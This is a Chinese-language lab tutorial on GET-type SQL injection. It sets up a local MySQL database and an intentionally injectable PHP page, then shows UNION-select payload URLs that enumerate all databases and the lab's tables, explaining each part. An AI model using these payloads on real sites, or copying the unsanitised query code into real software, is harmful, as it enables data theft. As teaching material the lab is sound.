数据库暴露--Get型注入攻击
1.背景知识
1.1Post、Get的对比
特性 | GET 方法 | POST 方法 |
---|---|---|
HTTP 方法类型 | GET | POST |
数据位置 | URL 查询字符串(?key=value) | 请求体(Request Body) |
数据可见性 | 明文显示在 URL 和浏览器历史中 | 不可见(除非开发者工具查看) |
数据长度限制 | 受 URL 长度限制(通常约 2048 字符) | 无明确限制(但服务器可能限制) |
缓存 | 可被缓存 | 默认不缓存 |
书签/分享 | 可保存为书签或分享带参数的 URL | 不可直接保存(需额外处理) |
安全性 | 较低(敏感数据不应使用) | 较高(但仍需 HTTPS 加密) |
幂等性 | 是(多次请求结果相同) | 否(可能产生副作用,如重复提交) |
主要用途 | 获取数据(查询、搜索、过滤等) | 提交数据(登录、表单提交、修改等) |
HTML 表单示例 | <form method="get" action="/search"> | <form method="post" action="/submit"> |
后端接收方式 | 通过查询参数获取(如 req.query ) | 通过请求体获取(如 req.body ) |
适用场景举例 | 搜索页面、分页、筛选条件 | 用户注册、文件上传、敏感操作 |
post型注入通过表单提交数据,get型注入通过”变量“=”值“的形式,使用?连接添加到action所指向的URL的后面。
即Post型SQL注入发生再页面表单提交信息处。Get型SQL注入发生再通过超链接方式向其他网页传递参数时。
1.2数据库暴露的原理
在用Get方式进行数据库查询时,通过数据库的SQL注入漏洞得到数据库的内容。
2.创建数据库
2.1创建SQL脚本
create database if not exists lab;use lab;drop table if exists books;
create table books
(
id int not null auto_increment,bookname char(64) not null,
author char(32) not null,primary key(id));insert into books(bookname,author) values('安徒生童话全集','汉斯·克里斯汀·安徒生');
insert into books(bookname,author) values('A Brief History Of Time','Stephen Hawking');
2.2将脚本文件导入到数据库
登录数据库
导入
3.建立get方式查询的网站
3.1con_database.php
<?php
$con=mysqli_connect('127.0.0.1','root','123456')
or die('数据库连接失败');
mysqli_select_db($con,'lab')
or die('选择数据库失败');
?>
3.2新建index.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Get型查询</title>
</head>
<body><div style=" margin-top:70px;color:#FFFFFF; font-size:23px; text-align:center">
<font color="#FF0000"><?php
//包含数据库连接
include('con_database.php');if(isset($_GET['id']))
{$id=$_GET['id'];$sql="SELECT * FROM books WHERE id='$id' LIMIT 0,1";$result = mysqli_query($con,$sql) or die('SQL语句执行失败, : '.mysqli_error($con));$row = mysqli_fetch_row($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Book name: ' .$row[1];echo "<br>";echo 'Author: ' .$row[2];echo "</font>";}else {print_r(mysqli_error($con));}
}
else { echo "请输入要查询记录的id";}?>
</font>
</div>
</body>
</html>
3.3功能测试
http://localhost/get/index.php?id=1
表示查询对应路径以及文件名,查询第一条记录,?用来连接URL地址喝Get方式传递的变量id
4.数据库暴库攻击测试
进行GET方式SQL注入
4.1暴数据库
http://
localhost/get/index.php?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+
SQL 注入语句解析:
http://localhost/get/index.php?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+
分解分析:
-
id=-1'
- 尝试闭合原本的 SQL 查询字符串(假设原查询是
SELECT * FROM table WHERE id='$id'
)。 -1
确保不返回正常数据,使后续UNION
结果可见。
- 尝试闭合原本的 SQL 查询字符串(假设原查询是
-
union select 1,group_concat(schema_name),3
UNION SELECT
用于合并查询结果,要求列数匹配原查询(此处假设原查询返回 3 列)。group_concat(schema_name)
是 MySQL 函数,用于合并所有数据库名(schema_name
)成一个字符串。1, ..., 3
是占位值,确保列数匹配。
-
from information_schema.schemata
information_schema.schemata
是 MySQL 系统表,存储所有数据库信息。- 攻击者通过此查询获取服务器上的所有数据库名。
-
--+
--
是 SQL 注释符,用于忽略原查询的剩余部分(如LIMIT 1
等)。+
在 URL 中代表空格(避免被浏览器过滤)。
4.2暴lab数据库的数据表
http:/localhost/get/index.php?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27lab%27--+